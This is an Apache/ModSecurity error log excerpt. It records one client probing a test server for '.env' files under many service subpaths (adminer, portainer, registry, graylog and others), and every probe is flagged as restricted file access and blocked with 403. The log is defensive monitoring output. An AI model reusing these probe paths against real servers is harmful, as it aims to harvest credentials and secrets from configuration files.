[Thu Feb 26 01:03:17.037297 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/minio/.env&quot;] [unique_id &quot;aZ-NxTAL5Lg_nL66HcLiLAAAAAE&quot;]
[Thu Feb 26 01:03:17.043102 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizWwAAAAA&quot;]
[Thu Feb 26 01:03:17.043380 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizWwAAAAA&quot;]
[Thu Feb 26 01:03:17.043575 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizWwAAAAA&quot;]
[Thu Feb 26 01:03:17.075323 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/adminer/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/adminer/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizXAAAAAA&quot;]
[Thu Feb 26 01:03:17.075655 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/adminer/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizXAAAAAA&quot;]
[Thu Feb 26 01:03:17.075852 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/adminer/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizXAAAAAA&quot;]
[Thu Feb 26 01:03:17.076727 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/monitoring/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/monitoring/.env&quot;] [unique_id &quot;aZ-NxTAL5Lg_nL66HcLiLQAAAAE&quot;]
[Thu Feb 26 01:03:17.076971 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/monitoring/.env&quot;] [unique_id &quot;aZ-NxTAL5Lg_nL66HcLiLQAAAAE&quot;]
[Thu Feb 26 01:03:17.077132 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/monitoring/.env&quot;] [unique_id &quot;aZ-NxTAL5Lg_nL66HcLiLQAAAAE&quot;]
[Thu Feb 26 01:03:17.113148 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/portainer/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/portainer/.env&quot;] [unique_id &quot;aZ-NxTAL5Lg_nL66HcLiLgAAAAE&quot;]
[Thu Feb 26 01:03:17.113439 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/portainer/.env&quot;] [unique_id &quot;aZ-NxTAL5Lg_nL66HcLiLgAAAAE&quot;]
[Thu Feb 26 01:03:17.113633 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/portainer/.env&quot;] [unique_id &quot;aZ-NxTAL5Lg_nL66HcLiLgAAAAE&quot;]
[Thu Feb 26 01:03:17.140291 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/deployment-agent/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/deployment-agent/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizXQAAAAA&quot;]
[Thu Feb 26 01:03:17.140586 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/deployment-agent/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizXQAAAAA&quot;]
[Thu Feb 26 01:03:17.140778 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/deployment-agent/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizXQAAAAA&quot;]
[Thu Feb 26 01:03:17.147453 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/redis-commander/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/redis-commander/.env&quot;] [unique_id &quot;aZ-NxTAL5Lg_nL66HcLiLwAAAAE&quot;]
[Thu Feb 26 01:03:17.147744 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/redis-commander/.env&quot;] [unique_id &quot;aZ-NxTAL5Lg_nL66HcLiLwAAAAE&quot;]
[Thu Feb 26 01:03:17.147935 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/redis-commander/.env&quot;] [unique_id &quot;aZ-NxTAL5Lg_nL66HcLiLwAAAAE&quot;]
[Thu Feb 26 01:03:17.175462 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/registry/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/registry/.env&quot;] [unique_id &quot;aZ-NxTAL5Lg_nL66HcLiMAAAAAE&quot;]
[Thu Feb 26 01:03:17.175756 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/registry/.env&quot;] [unique_id &quot;aZ-NxTAL5Lg_nL66HcLiMAAAAAE&quot;]
[Thu Feb 26 01:03:17.175934 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/registry/.env&quot;] [unique_id &quot;aZ-NxTAL5Lg_nL66HcLiMAAAAAE&quot;]
[Thu Feb 26 01:03:17.182485 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/documents/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/documents/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizXgAAAAA&quot;]
[Thu Feb 26 01:03:17.182777 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/documents/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizXgAAAAA&quot;]
[Thu Feb 26 01:03:17.182997 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/documents/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizXgAAAAA&quot;]
[Thu Feb 26 01:03:17.219485 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/graylog/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/graylog/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizXwAAAAA&quot;]
[Thu Feb 26 01:03:17.219772 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/graylog/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizXwAAAAA&quot;]
[Thu Feb 26 01:03:17.219961 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/graylog/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizXwAAAAA&quot;]
[Thu Feb 26 01:03:17.222535 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/simcore/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/simcore/.env&quot;] [unique_id &quot;aZ-NxTAL5Lg_nL66HcLiMQAAAAE&quot;]
[Thu Feb 26 01:03:17.222806 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/simcore/.env&quot;] [unique_id &quot;aZ-NxTAL5Lg_nL66HcLiMQAAAAE&quot;]
[Thu Feb 26 01:03:17.222977 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/simcore/.env&quot;] [unique_id &quot;aZ-NxTAL5Lg_nL66HcLiMQAAAAE&quot;]
[Thu Feb 26 01:03:17.243656 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/jaeger/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/jaeger/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizYAAAAAA&quot;]
[Thu Feb 26 01:03:17.243926 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/jaeger/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizYAAAAAA&quot;]
